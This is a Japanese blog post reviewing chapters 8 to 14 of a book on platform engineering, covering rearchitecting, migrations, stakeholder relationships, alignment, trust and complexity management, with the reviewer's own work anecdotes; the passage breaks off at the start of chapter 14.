speakerdeck.comプロジェクト管理の実践的アプローチ著者が警告する「長期的な停滞」に陥るリスクは、多くのプラットフォームチームにとって現実的な課題です。私も過去に、過度に野心的な目標設定や不明確な問題設定により、プロジェクトが停滞する経験をしました。これを避けるために、プロジェクトの範囲を適切に設定し、段階的な価値提供を重視するアプローチを採用しています。章全体からの学びこの章で提示されている計画立案と実行管理のフレームワークは、プラットフォームエンジニアリングの成功に不可欠な要素を網羅しています。特に、長期的なビジョンと短期的な成果のバランス、透明性の高いコミュニケーション、そして継続的な価値提供の重要性は、現代のプラットフォームエンジニアリングにおいて極めて重要です。私の経験からも、これらの実践は組織の規模や成熟度に関わらず、適用可能で効果的なアプローチだと確信しています。ただし、各組織の状況に応じて適切にカスタマイズすることが重要です。特に、チームの規模が小さい段階では、過度に形式的なプロセスを避け、エッセンシャルな実践に焦点を当てることを推奨します。この章の内容は、プラットフォームエンジニアリングチームが直面する計画立案と実行管理の課題に対する実践的なガイドとして、非常に価値のあるものだと評価しています。Chapter 8. Rearchitecting Platforms第8章「Rearchitecting Platforms」は、プラットフォームの再アーキテクチャリングという重要なテーマについて、その必要性、アプローチ、実践方法を包括的に解説しています。著者は、プラットフォームの進化が不可避であるという現実を踏まえ、どのようにして既存のシステムを運用しながら進化させていくかという実践的な知見を提供しています。特に印象的なのは、冒頭のRandy Schoupによる「If you don't end up regretting your early technology decisions, you probably overengineered.」(初期の技術選定を後悔しないのであれば、おそらく過剰設計だった)という引用です。この言葉は、プラットフォームエンジニアリングにおける現実的なアプローチの重要性を端的に表現しています。進化的アーキテクチャ ―絶え間ない変化を支える作者:Neal Ford,Rebecca Parsons,Patrick KuaオライリージャパンAmazonまた、日本の伊勢神宮で実践される式年遷宮のように、定期的にシステムを刷新しながら価値を維持・向上させていく「式年遷宮アーキテクチャ」の考え方も、この文脈で参考になる概念といえます。agnozingdays.hatenablog.comv2開発とリアーキテクチャリングの選択Figure 8-1. How a platform is successfully rearchitected over time より引用[Figure 8-1]は、プラットフォームの進化とリアーキテクチャリングの関係を時系列で示した重要な図です。この図は、プラットフォームが「Scrappy Platform」から「Scalable Platform」を経て「Robust Platform」へと進化していく過程を表しています。著者は、新システムを一から作り直すv2アプローチと、既存システムを進化させるリアーキテクチャリングアプローチを比較し、後者を推奨しています。私自身の経験からも、v2アプローチの失敗を何度も目にしてきました。特に印象的だったのは、セカンドシステム効果による過剰な機能の盛り込みと、移行コストの過小評価という2つの典型的な失敗パターンです。たとえば、あるプロジェクトでは、既存システムの問題点を全て解決しようとするあまり、新システムの設計が複雑化し、開発期間が当初の見積もりの3倍以上に膨れ上がってしまいました。結果として、ビジネスニーズの変化に追いつけず、プロジェクトは中止を余儀なくされました。著者が提案する3つの異なるエンジニアリングマインドセット(パイオニア、セトラー、タウンプランナー)の分類は、非常に示唆に富んでいます。私のチームでも、このフレームワークを参考に、フェーズに応じた適切な人材配置を行うことで、より効果的なリアーキテクチャリングを実現できています。パイオニアマインドセットは、新しい可能性を探索し、革新的なソリューションを生み出すのに長けています。一方で、セトラーマインドセットは、実験的なアイデアを実用的なプロダクトへと昇華させる能力に優れています。そして、タウンプランナーマインドセットは、システムの効率化と産業化を得意としています。セキュリティアーキテクチャの重要性特に注目すべきは、セキュリティをアーキテクチャレベルで考える必要性についての指摘です。著者は、プラットフォームのセキュリティは後付けではなく、設計段階から組み込まれるべきだと主張しています。これは、私が過去に経験した大規模なセキュリティインシデントからも、極めて重要な教訓だと感じています。例えば、あるプロジェクトでは、セキュリティを後付けで考えたために、重要なアーキテクチャ上の変更が必要となり、多大なコストと時間を要しました。特に、マルチテナント環境におけるデータの分離や、認証・認可の仕組みは、後からの変更が極めて困難でした。「サイバー犯罪を完全に防ぐことはできないが、システムをよりスマートに設計することで被害を最小限に抑えることは可能」という著者の指摘は、現代のセキュリティアプローチの本質を突いています。特に重要なのは、以下の実践的なアプローチです:標準化された認証・認可の仕組みの提供セキュアなデフォルト設定の重要性アクセス制御の宣言的な定義テナント分離アーキテクチャの採用ガードレールの設計と実装リアーキテクチャリングの実践において、著者はガードレールの重要性を強調しています。これは、変更を安全に実施するための枠組みとして機能します。特に、以下の4つの側面からのアプローチが重要です:後方互換性の維持: APIの互換性を保ち、既存のクライアントへの影響を最小限に抑える包括的なテスト戦略: 単体テストから統合テスト、合成モニタリングまでの総合的なアプローチ環境管理の重要性: 開発、テスト、本番環境の適切な分離と管理段階的なロールアウト: カナリアリリースやトランチ方式による慎重なデプロイメント私の経験では、特に後方互換性の維持が重要です。一度失った顧客の信頼を取り戻すのは極めて困難であり、互換性の破壊は避けるべき最大のリスクの一つです。たとえば、あるプロジェクトでは、APIの下位互換性を破壊する変更を行ったことで、顧客のシステムに深刻な影響を与え、その修復に数ヶ月を要しました。リアーキテクチャリングの計画立案著者が提案する4段階の計画立案プロセスは、実践的で効果的なアプローチです:最終目標の設定: 3-5年の長期的なビジョンを明確にする移行コストの見積もり: 現実的なコストと時間の評価12ヶ月での主要な成果の設定: 短期的な価値提供の確保リーダーシップの支持獲得: 組織的なサポートの確保特に印象的なのは、12ヶ月での具体的な成果達成を重視している点です。私のチームでも、長期的なビジョンと短期的な成果のバランスを取ることで、ステークホルダーの信頼を維持しながら、大規模なリアーキテクチャリングを成功させることができました。具体的には、以下のような3つの目標設定が効果的でした:大きな価値を生む野心的な目標: ビジネスにインパクトのある変革より小規模だが確実な価値提供: 現実的な改善の実現技術的な基盤の確立: 新アーキテクチャの実運用開始章全体からの学びこの章から学んだ最も重要な教訓は、リアーキテクチャリングは技術的な課題である以上に、組織的な取り組みであるという点です。技術的な優位性だけでなく、ビジネス価値の創出と組織の継続的な発展を両立させる必要があります。私の経験からも、リアーキテクチャリングの成功には、技術的な卓越性、組織的な支援、そして段階的な実行アプローチが不可欠です。特に、早期の価値提供と段階的な移行を重視することで、リスクを最小限に抑えながら、必要な変革を実現することができます。また、著者が警告する新入社員主導のリアーキテクチャリングの危険性も重要な指摘です。過去の経験や他社での成功体験に基づく性急な変更は、往々にして組織の文化や既存システムの複雑さを考慮できず、失敗に終わることが多いです。最後に、この章は現代のプラットフォームエンジニアリングが直面する重要な課題に対する実践的なガイドを提供しており、多くのプラットフォームリーダーにとって貴重な参考資料となるでしょう。特に、継続的な進化の必要性と実践的なアプローチの重要性は、今後のプラットフォーム戦略を考える上で極めて重要な示唆を提供しています。Chapter 9. Migrations and Sunsetting of Platforms第9章「Migrations and Sunsetting of Platforms」は、プラットフォームエンジニアリングにおける最も困難な課題の一つである、マイグレーションとプラットフォームのサンセットについて詳細に解説しています。著者は、C. Scott Andreasの「プラットフォームは、土台のように、その上に構築するための安定した表面を提供するべきものである」という言葉を引用しながら、変更を管理しつつ安定性を提供するというプラットフォームエンジニアリングの本質的な課題に切り込んでいます。cloud.google.comこちらも参考になるかと思います。learn.microsoft.comaws.amazon.comマイグレーションのアンチパターン著者が指摘するマイグレーションの主要なアンチパターンは、私の経験とも強く共鳴します。特に、コンテキストのない締め切り、曖昧な要件、不十分なテスト、そしてクリップボード持ちの説教者という4つのパターンは、多くのプラットフォームチームが陥りがちな罠です。私自身、ある大規模なマイグレーションプロジェクトで、経営陣から突然の期限を課された経験があります。その時の教訓は、マイグレーションは技術的な課題である以上に、コミュニケーションと計画の課題であるということでした。具体的には、チームメンバーや関係者との丁寧なコミュニケーション、段階的なマイグレーション計画の策定、そして明確な成功基準の設定が重要でした。また、曖昧な要件の問題は特に深刻です。「Product X version Y以前を使用している場合は...」といった通知を送っても、多くのユーザーはProduct Xが何を指すのかすら理解できていないことがあります。これは単なるコミュニケーションの問題ではなく、プラットフォームの可視性と理解可能性の問題でもあります。learning.oreilly.comより簡単なマイグレーションのためのエンジニアリング著者は、マイグレーションを容易にするための技術的なアプローチとして、製品抽象化、透過的なマイグレーション、メタデータ追跡、自動化の重要性を説いています。これらは、現代のクラウドネイティブ環境において特に重要です。私の経験では、グルーコードの最小化とバリエーションの制限が特に重要でした。あるプロジェクトでは、各チームが独自のグルーコードを持っていたために、システムの更新が極めて困難になっていました。この教訓を活かし、次のプロジェクトでは標準化されたインターフェースと限定的なカスタマイズオプションを提供することで、マイグレーションの複雑さを大幅に削減することができました。また、使用状況メタデータの追跡も極めて重要です。過去のプロジェクトで、依存関係の把握が不十分だったために、マイグレーション中に予期せぬ問題が発生し、スケジュールが大幅に遅延した経験があります。この経験から、プラットフォームの使用状況、依存関係、所有者情報を常に追跡するシステムを構築することが、効果的なマイグレーション管理の基盤となることを学びました。スムーズなマイグレーションの調整マイグレーションの成功には、早期のコミュニケーションと公開性が不可欠です。著者が提案する、12ヶ月以上先の期限に対する慎重なアプローチは、私の経験からも非常に賢明です。特に印象的なのは、最後の20%をプッシュするという考え方です。実際のプロジェクトでは、最初の80%は比較的スムーズに進むことが多いものの、残りの20%で予想外の課題に直面することがよくあります。この段階での成功には、古いシステムの適切な維持管理、予期せぬ技術的課題への柔軟な対応、そして責任の所在の明確化が重要です。私の経験では、この最後の20%で重要なのは、チームのモチベーション維持です。古いシステムの維持に割り当てられたチームメンバーが、キャリアの行き詰まりを感じて離職するケースも少なくありません。これを防ぐために、新旧システムの作業をバランスよく配分し、全員が新しい技術にも触れる機会を提供することが重要です。プラットフォームのサンセットプラットフォームのサンセットは、マイグレーション以上に難しい判断を必要とします。著者は、サンセットを検討すべき状況として、ユーザー数の少なさ、高いサポートコスト、他の優先事項への注力必要性という3つの条件を挙げています。私の経験では、特に構築者の抵抗が大きな課題となることがあります。開発者は自分たちが構築したシステムに愛着を持ちがちで、そのサンセットには強い感情的な抵抗を示すことがあります。あるプロジェクトでは, 新システムへの移行が技術的には可能であったにもかかわらず、開発チームの強い愛着により、不必要に長期間両方のシステムを維持することになりました。このような状況を避けるためには、客観的な評価基準と透明性の高い意思決定プロセスが重要です。具体的には、使用状況メトリクス、維持コスト、技術的負債の状況など、定量的なデータに基づく判断を行うことで、感情的な議論を避けることができます。また、サンセット計画の策定においては、段階的なアプローチが効果的です。まず使用制限を設けてから完全な廃止へと移行する方法や、特定の機能のみを段階的に廃止していく方法など、状況に応じた柔軟なアプローチを取ることが重要です。章全体からの学びこの章から得られる最も重要な教訓は、マイグレーションとサンセットは避けられない現実であり、それらを効果的に管理することがプラットフォームチームの価値を証明する機会となるということです。著者が述べているように、マイグレーションは「税金」のようなものかもしれませんが、それは避けられない更新のコストです。プラットフォームエンジニアリングの真価は、より良い自動化、コミュニケーション、実行を通じて、この変更のコストを組織全体で最小化できるという点にあります。私の経験からも、成功するマイグレーションには、技術的な準備、組織的なサポート、そして効果的なコミュニケーションが不可欠です。特に重要なのは、ユーザー体験を最優先し、できる限り多くの作業を事前に準備することです。さらに、マイグレーションやサンセットの経験は、将来のプラットフォーム設計にも活かすべき重要な学びとなります。特に、変更のしやすさを初期の設計段階から考慮することで、将来のマイグレーションコストを低減することができます。最後に、この章は、プラットフォームエンジニアリングにおけるマイグレーションとサンセットの重要性を再認識させ、その実践的なアプローチを提供する貴重な指針となっています。その教訓は、現代のクラウドネイティブ環境において、ますます重要性を増していくことでしょう。Chapter 10. Managing Stakeholder Relationships第10章「Managing Stakeholder Relationships」は、プラットフォームエンジニアリングにおけるステークホルダー管理の重要性と実践的なアプローチについて詳細に解説しています。著者は、プロダクトマネジメントとステークホルダーマネジメントの違いを明確にし、後者がプラットフォームチームの成功にとって極めて重要であることを強調しています。社内政治の教科書作者:高城 幸司ダイヤモンド社Amazonステークホルダーマッピング:パワー・インタレストグリッドFigure 10-1. Power-interest grid, showing the four quadrants of stakeholders based on their power within the organization and interest in your work より引用[Figure 10-1]は、ステークホルダーのマッピングを「パワー」と「関心」の2軸で表現した重要な図です。この図は、ステークホルダーを4つの象限に分類し、それぞれに対する適切なアプローチを示しています。私の経験でも、このような体系的なマッピングは、限られたリソースを効果的に配分する上で非常に有用でした。Figure 10-2. The power-interest grid showing Juan’s stakeholders より引用[Figure 10-2]では、架空の例としてJuanというVPのステークホルダーマップが示されています。この例は、現実のプラットフォームチームが直面する複雑なステークホルダー関係を見事に表現しています。特に重要なのは、パワーと関心の高いステークホルダー(CPOや主要エンジニアリングチームのリーダー)に対する戦略的なアプローチの必要性です。適切な透明性でのコミュニケーション著者は、ステークホルダーとのコミュニケーションにおいて、過度な詳細の共有を避けることの重要性を強調しています。これは、私のチームでも痛感した教訓です。以前、技術的な詳細を過度に共有したことで、かえってステークホルダーの不信感を招いた経験があります。特に重要なのは、1:1ミーティングの戦略的な活用です。初期段階での関係構築には有効ですが、組織の成長とともにその限界も見えてきます。私の経験では、四半期ごとのKeep Satisfied/Keep Informedステークホルダーとの1:1、そして月次でのManage Closelyステークホルダーとの1:1というリズムが効果的でした。受け入れ可能な妥協点の見出し方ステークホルダーとの関係において、妥協は避けられない現実です。特に印象的なのは、「yes, with compromises」というアプローチです。これは、完全な拒否でも無条件の受け入れでもない、現実的な解決策を提供します。シャドウプラットフォームの問題は、多くのプラットフォームチームが直面する課題です。私のチームでも、ある部門が独自のプラットフォームを構築し始めた際、最初は抵抗を感じました。しかし、著者が提案するように、パートナーシップのアプローチを取ることで、最終的には組織全体にとって価値のある結果を生み出すことができました。予算管理とコストの課題経済的な逆風時における予算管理は、プラットフォームチームにとって特に難しい課題です。著者が提案する3段階のアプローチ(明日の受益者の特定、チーム単位での作業のグループ化、カットすべき箇所と維持すべき箇所の明確化)は、実践的で効果的です。私の経験では、ビジネスへの直接的な価値の提示が特に重要でした。例えば、効率化プロジェクトの場合、具体的なコスト削減額を示すことで、予算の正当性を説得力を持って説明することができました。章全体からの学びこの章から得られる最も重要な教訓は、ステークホルダー管理がプラットフォームチームの成功にとって決定的に重要であるという点です。これは単なるコミュニケーションの問題ではなく、組織の戦略的な成功要因です。私の経験からも、良好なステークホルダー関係は、困難な時期を乗り越えるための重要な資産となります。特に、予算削減や組織変更といった厳しい局面では、日頃からの信頼関係が決定的な違いを生みます。最後に、この章が提供する実践的なフレームワークと具体例は、現代のプラットフォームエンジニアリングリーダーにとって、極めて価値のある指針となるでしょう。Part III. What Does Success Look Like?第3部は、プラットフォームエンジニアリングの成功をホリスティックに評価するアプローチを提示しています。Alice in Wonderlandからの引用が示唆するように、プラットフォームチームは常に走り続けているにもかかわらず、その進捗が見えにくいという現実に直面します。著者は、単純なメトリクスやモデルだけでは不十分だとし、アライメント、信頼、複雑性管理、愛される存在という4つの評価領域を提案しています。これは私の実務経験とも強く共鳴します。特に、CNCFのプラットフォームエンジニアリング成熟度モデルを参考にしつつも、より包括的な評価アプローチを取ることの重要性は、多くのプラットフォームリーダーにとって価値のある指針となるでしょう。Chapter 11. Your Platforms Are Aligned第11章「Your Platforms Are Aligned」は、プラットフォームエンジニアリングチームの成功を評価する最初の基準として「アライメント(整合性)」を深く掘り下げています。この章を通じて、著者はプラットフォームチーム間のアライメントがいかに重要か、そしてミスアライメントがどのような問題を引き起こすかを具体的に示しています。特に印象的なのは、冒頭のTom DeMarcoとTim Listerの「チームの目的は目標の達成ではなく、目標の整合性である」という言葉です。この視点は、現代のプラットフォームエンジニアリングにおいて極めて重要な示唆を提供しています。アジャイルチームによる目標づくりガイドブック OKRを機能させ成果に繋げるためのアプローチ作者:小田中 育生翔泳社Amazon目的のアライメント著者は目的のアライメントの重要性を、継続的インテグレーション(CI)プラットフォームと運用システムプラットフォームの対立という具体例を通じて説明しています。この事例は、私自身が経験したプラットフォームチーム間の対立を思い起こさせます。特に印象的なのは、OSプラットフォームチームがインフラストラクチャマインドセットを保持し、顧客体験よりも技術的完璧さを優先してしまうという状況です。著者は、プラットフォームチームの共通目的として、製品(キュレートされた製品アプローチ)、開発(ソフトウェアベースの抽象化)、幅広さ(広範な開発者基盤へのサービス提供)、運用(ビジネスの基盤としての運用)という4つの柱を挙げています。これらの柱は、プラットフォームチームが技術的な卓越性だけでなく、組織全体の価値創出に貢献するための重要な指針となります。製品戦略のアライメント製品戦略のアライメントについて、著者は4つのプラットフォームチームが異なる技術的選択を行い、その結果として5つの異なるコンピュートプラットフォームが存在するという事例を挙げています。これは、私が以前経験した状況と非常によく似ています。チーム間の協調不足が、重複した機能と互換性の問題を引き起こし、結果として顧客にとって使いづらい環境を作ってしまうのです。著者は、この問題に対する解決策として、独立したプロダクトマネジメント、独立したリードIC、全社的な顧客調査からのフィードバック、そして必要に応じた組織再編という4つのアプローチを提案しています。特に、プロダクトマネジメントの独立性について、エンジニアリングマネージャーの直接の影響下から切り離すことの重要性は、実践的な示唆に富んでいます。計画のアライメント計画のアライメントに関して、著者は大規模なプロジェクト(1開発者年以上)に焦点を当てることの重要性を強調しています。細かい計画まで全てを統制しようとすると、チームの機動性が失われ、緊急のニーズに対応できなくなるリスクがあります。これは私の経験とも一致しており、特に大規模な組織では、過度な計画の詳細化がかえって効果的な実行の妨げとなることがあります。著者は、意見の対立を避けることなく、むしろそれを前向きに活用することを提案しています。Amazonの「Have Backbone; Disagree and Commit」という原則を引用しながら、強い信念を持ちつつも、最終的な決定には全面的にコミットするという姿勢の重要性を説いています。プリンシプルドリーダーシップによるアライメント著者は、最終的なアライメントが原則に基づいたリーダーシップから生まれると主張しています。これは単なる上意下達ではなく、協調的で透明性のあるプロセスを通じて、チーム全体が理解し、納得できる決定を導き出すことの重要性を示しています。組織の共通目標を達成するための計画と実行は、単なるトップダウンの意思決定ではなく、チーム全体の協力と理解に基づいて進められるべきです。組織のアライメントへの道筋組織全体のアライメントを実現するには、単なる技術的な調整以上のものが必要です。著者が示す通り、プラットフォームチームのリーダーは、技術的な卓越性とビジネス価値のバランスを取りながら、組織全体の目標達成に向けて多様なステークホルダーと協力していく必要があります。特に、競合するプロジェクトや優先順位の調整において、オープンな議論と明確な意思決定プロセスが重要となります。プラットフォームエンジニアリングの成功は、明確な目標設定と、その目標に向けた組織全体の一貫した取り組みにかかっています。アライメントを通じて、組織は効果的なプラットフォームを構築し、継続的な改善を実現することができます。この章は、そのための具体的な指針と実践的なアプローチを提供しています。章全体からの学びこの章から得られる最も重要な教訓は、プラットフォームアライメントが組織の成功に直接的な影響を与えるという点です。著者が強調するように、アライメントは単なる技術的な統一ではなく、目的、製品戦略、計画という3つの次元で実現される必要があります。私の経験からも、これらの要素が適切に整合していない場合、チーム間の摩擦や非効率な重複投資、そして最終的には顧客満足度の低下につながることを痛感しています。特に印象的なのは、アライメントが「測定可能な改善」と密接に結びついているという著者の指摘です。プラットフォームの成功を評価するには、まず目標について合意し、それに向かって進む必要があります。アライメントのプロセスを通じて、組織は焦点を当てるべき領域をより明確に理解し、具体的な目標と作業項目を設定することができます。私の実務経験でも、製品市場のフィードバックを定期的に収集し、内部メトリクスだけでなく実際のユーザーの声に耳を傾けることで、プラットフォームが選択した方向性が正しいかどうかを判断できることを学びました。これは著者が指摘する「プラットフォームが改善すべき点を意識的に選択できる」という考えと完全に一致します。著者が指摘するように、この章の内容はプラットフォームエンジニアリングに特有のものではありません。しかし、プラットフォームエンジニアリングの文脈では、その価値が直接的な収益成長などの明確な指標で測定できないことが多く、投資先の選択においてより大きな裁量が求められます。これは、プラットフォームリーダーシップの最大の課題の一つとなっています。最後に、この章は個々のプロダクトチームが独自の視点で構築を進めることの危険性を明確に示しています。確かに、これによって部分的な成功は得られるかもしれませんが、チーム全体としての整合性が欠如すると、真の卓越性は達成できません。プラットフォームエンジニアリングの真の成功は、技術的な優秀性だけでなく、組織全体のアライメントを通じて実現されるのです。これらの学びを実践に移す際は、組織の規模や成熟度に応じて適切にアプローチを調整する必要があります。アライメントは一朝一夕には達成できませんが、継続的な対話と調整を通じて、段階的に実現していくことが可能です。Chapter 12. Your Platforms Are Trusted第12章「Your Platforms Are Trusted」は、プラットフォームエンジニアリングにおける信頼の重要性と、その獲得・維持の方法について深く掘り下げています。著者は、Warren Buffettの「信頼は空気のようなものだ - 存在するときは誰も気付かないが、欠如したときは誰もが気付く」という言葉を引用しながら、プラットフォームの成功には信頼が不可欠であることを強調しています。特に、この章では運用能力、大規模投資の意思決定、そしてビジネスへのボトルネック化という3つの主要な信頼喪失のリスクに焦点を当てています。運用における信頼構築運用面での信頼構築について、著者は単なるプラクティスの導入以上のものが必要だと指摘しています。私自身の経験でも、オンコール体制やSLOの設定だけでは、アプリケーションチームの信頼を完全に獲得することは困難でした。特に印象的なのは、経験値の圧縮が不可能であるというAmazonの教訓です。これは、大規模運用の経験は実際の運用を通じてしか得られないという現実を端的に表現しています。著者は、この課題に対する2つのアプローチを提案しています。1つ目は大規模運用経験を持つリーダーの採用と権限付与、2つ目は運用リスクの許容度に基づくユースケースの優先順位付けです。これらは、私が過去に経験した運用信頼性の向上プロジェクトとも共鳴する実践的なアプローチです。信頼構築の実践において、私たちのチームで特に効果的だったのは、段階的なアプローチの採用です。まず、非クリティカルなワークロードから始めて、運用の安定性を実証し、そこから徐々にミッションクリティカルなワークロードへと移行していく方法を取りました。例えば、新しいコンテナオーケストレーションプラットフォームの導入時には、最初は内部の開発環境のワークロードのみを対象とし、3ヶ月間の安定運用を確認した後に、段階的に本番環境のワークロードを移行していきました。この過程で特に重要だったのは、透明性の高いコミュニケーションです。週次のステータスレポートでは、インシデントの詳細な分析結果だけでなく、それに基づく具体的な改善計画も共有しました。また、主要なステークホルダーとの定期的な1on1ミーティングでは、技術的な課題だけでなく、ビジネス目標との整合性についても率直な議論を行いました。このような取り組みを通じて、運用面での信頼を着実に築き上げることができました。syu-m-5151.hatenablog.com大規模投資における信頼構築大規模投資に関する信頼構築について、著者は技術的ステークホルダーの賛同とエグゼクティブスポンサーシップの重要性を強調しています。私の経験でも、技術的な正当性だけでなく、ビジネス価値の明確な説明が、大規模投資の承認を得る上で決定的に重要でした。特に、既存システムの維持管理を怠らないことの重要性は、実務を通じて痛感しています。著者が提示する「Icicle」チームの事例は、特に示唆に富んでいます。高レイテンシーに敏感なワークロードを持つチームの信頼を獲得するために、プラットフォームチームが自身の技術的な「正しさ」にこだわるのではなく、顧客のニーズに合わせて柔軟に戦略を変更した例は、現代のプラットフォームエンジニアリングにおいて極めて重要な教訓を提供しています。私たちの組織では、大規模投資の承認プロセスにおいて、段階的なマイルストーンと明確な成功指標の設定を重視しています。例えば、新しいマイクロサービスプラットフォームへの投資では、6ヶ月ごとの具体的な目標を設定し、各フェーズでの成果を定量的に評価できるようにしました。これにより、投資の妥当性を継続的に検証し、必要に応じて計画を調整することが可能になりました。特に重要なのは、ビジネス価値の可視化です。技術的な改善だけでなく、開発者生産性の向上、運用コストの削減、新機能のリリース速度の改善など、具体的な数値で効果を示すことで、エグゼクティブの継続的なサポートを得ることができました。この経験から、大規模投資の成功には、技術的な実現可能性とビジネス価値の両面からの綿密な検討が不可欠だと実感しています。優先順位付けと信頼ビジネスのボトルネックとなることを避けるための信頼構築について、著者はベロシティの文化醸成とプロジェクトの優先順位付けの重要性を説いています。私のチームでも、計画された作業と緊急の要求のバランスを取ることは常に課題でした。特に、「次の四半期のOKRまで待つ必要がある」という対応は、アジャイルなビジネス環境では受け入れられないという著者の指摘は、現実の組織運営と強く共鳴します。著者が紹介するDiego Quirogaの事例は、ボトルネック解消の実践的なアプローチを示しています。特に、セルフサービス化による効率化とサポート要求の分析に基づく改善は、私自身のプラットフォーム改善プロジェクトでも有効だった施策です。過度に結合したプラットフォームの教訓著者は、「バッテリー込み」アプローチの失敗事例を通じて、プラットフォームの過度な結合がもたらす問題を説明しています。この事例は、エンドツーエンドのワークフローを提供しようとするあまり、コンポーネント間の結合が強くなり、最終的に運用の安定性と機能追加の柔軟性を失ってしまうという、多くのプラットフォームチームが陥りがちな罠を見事に描き出しています。章全体からの学びこの章の最も重要な教訓は、信頼の構築には時間がかかるが、その喪失は一瞬であるという現実です。運用上の予期せぬ問題、ビジネスの急激な変化、チームの離職など、私たちの制御を超えた多くの要因が信頼を損なう可能性があります。そのため、プラットフォームリーダーには、日々の活動を通じて継続的に信頼を強化していく努力が求められます。特に印象的なのは、多くのプラットフォームリーダーが陥りがちな傲慢さへの警告です。技術的な正しさにこだわるあまり、顧客やステークホルダーの声に耳を傾けない態度は、長期的な成功の妨げとなります。プラットフォームの真の成功は、技術的な卓越性とビジネス要求への迅速な対応の両立にかかっているのです。この章の学びは、現代のクラウドネイティブ環境において、ますます重要性を増していくでしょう。プラットフォームの信頼性と柔軟性の両立、そして顧客との信頼関係の構築は、今後のプラットフォームエンジニアリングの成功に不可欠な要素となります。Chapter 13. Your Platforms Manage Complexity第13章「Your Platforms Manage Complexity」は、プラットフォームエンジニアリングにおける複雑性管理の本質と実践について深く掘り下げています。著者は、Donald A. Normanの「人々の望ましい行動ではなく、実際の行動に合わせて設計しなければならない」という言葉を引用しながら、複雑性管理が単なる技術的な課題ではなく、人間の行動や組織の現実を考慮に入れた総合的なアプローチを必要とすることを強調しています。 speakerdeck.com意図せぬ複雑性の管理複雑性管理の成功を測る重要な指標の一つは、アプリケーションチームが必要とする「グルー(接着剤)コード」の量です。私の経験では、プラットフォームチームが提供する抽象化が不適切な場合、アプリケーションチームは独自のグルーコードを書かざるを得なくなり、結果として全体の複雑性が増大してしまいます。特に注目すべきは、著者が指摘する「ヒューマングルー」の問題です。これは、技術的なグルーコードの削減を目指すあまり、人間による手動の調整や対応に依存してしまう状況を指します。私のチームでも、以前は運用上の問題解決に人間の介入を多用していましたが、これは持続可能な解決策ではありませんでした。このような課題に対して、私たちは自動化と適切な抽象化のバランスを重視するアプローチを採用しています。例えば、マイグレーションプロジェクトでは、所有権メタデータレジストリを活用し、チケットの自動割り当てと進捗管理を実現しました。これにより、人的なプロジェクト管理の負担を大幅に削減することができました。シャドウプラットフォームの管理シャドウプラットフォームの問題について、著者は完全な抑制ではなく、適切な管理の重要性を説いています。私の経験でも、アプリケーションチームによる独自のプラットフォーム構築を全面的に禁止することは、イノベーションの芽を摘んでしまう危険性があります。特に印象的なのは、シャドウプラットフォームを組織の学習機会として捉える視点です。あるプロジェクトでは、データサイエンスチームが構築した独自のプラットフォームを、最終的に全社的なソリューションへと発展させることができました。これは、パイオニア的なイノベーションとエンタープライズレベルの安定性のバランスを取る良い例となりました。著者が提示する「Single Pane of Glass」のアンチパターンの分析も示唆に富んでいます。統合UIの構築は一見魅力的に見えますが、実際にはベンダーツールの進化に追従することの難しさや、異なるユーザーペルソナのニーズへの対応など、予想以上の複雑性をもたらす可能性があります。成長の管理による複雑性制御著者は、無制限な成長が複雑性を増大させる要因となることを警告しています。これは私の実務経験とも強く共鳴します。特に印象的なのは、効率性の向上とチーム規模の拡大のバランスについての指摘です。私のチームでも、新しい課題に直面するたびに人員を増やすのではなく、まず既存のプロセスの効率化や自動化を検討するようにしています。著者が提案する「既存の領域での新しい作業は、そのチームの既存のメンバーによってまかなわれるべき」というルールは、実践的な指針として非常に有用です。これにより、チームは優先順位の明確化と効率化への投資を迫られ、結果として複雑性の管理にも寄与します。プロダクトディスカバリーを通じた複雑性管理プロダクトディスカバリーの重要性について、著者はオープンソースシステムの導入を例に説明しています。私の経験では、顧客の要求をそのまま受け入れてオープンソースシステムを提供するのではなく、真の要件の理解と適切な抽象化のレベルを見極めることが重要です。特に印象的なのは、データ処理系のOSSに関する事例です。PostgreSQL、Cassandra、MongoDBなどの広範なインターフェースを持つシステムの運用は、ユースケースと利用者の増加に伴って線形に複雑性が増大していきます。これは、多くのプラットフォームチームが直面する現実的な課題です。内部と外部の複雑性のバランス最後に著者が示すデータプラットフォームの事例は、複雑性管理の実践的なチャレンジを見事に描き出しています。10人程度のチームがPostgreSQL、Kafka、Cassandraなどの複数のOSSシステムを運用する中で直面した課題は、私自身の経験とも強く共鳴します。特に、運用負荷の増大と顧客要求の多様化のバランスを取ることの難しさは、多くのプラットフォームチームが直面する普遍的な課題です。著者が描写する改善の試行錯誤のプロセスは、とりわけ示唆に富んでいます。ベンダーのホステッドサービスへの移行、SLAの明確化、APIの完全なカプセル化など、様々なアプローチを試みながらも、それぞれに課題があったという経験は、私たちの組織でも同様でした。特に印象的なのは、これらの「失敗」を通じて、真の顧客ニーズの理解と実現可能な解決策の発見につながっていったという点です。最終的な解決策として導き出された、シンプルな(key, value)セマンティクスのプラットフォームと特定のユースケースに最適化されたSQL系システムの組み合わせは、複雑性管理の理想的なアプローチを示しています。これは、完璧な解決策を一度に実現しようとするのではなく、段階的な改善と顧客との密接な協力を通じて、持続可能な解決策を見出していく過程の重要性を示しています。章全体からの学びこの章の最も重要な教訓は、複雑性管理が継続的な取り組みであり、完全な解決は望めないという現実的な認識です。しかし、これは諦めるべき理由ではなく、むしろ組織の北極星として、継続的な改善の方向性を示す指針となります。私の経験からも、複雑性管理の成功には、技術的なソリューション、組織的な取り組み、そして顧客との協力の3つの要素が不可欠です。特に重要なのは、完璧を求めるのではなく、継続的な改善と学習のサイクルを確立することです。最後に、この章は現代のプラットフォームエンジニアリングが直面する本質的な課題に対する実践的な洞察を提供しています。複雑性の管理は、技術的な課題であると同時に、組織的な課題でもあります。プラットフォームエンジニアリングチームのリーダーとして、この両面からのアプローチを常に意識しながら、持続可能な改善を推進していく必要があるでしょう。Chapter 14. Your Platforms Are Loved第14章「Your Platforms Are Loved」は、プラットフォームエンジニアリングにおける「愛される」という概念の意味と重要性について深く掘り下げています。著者は、Tina Turnerの「What's love got to do with 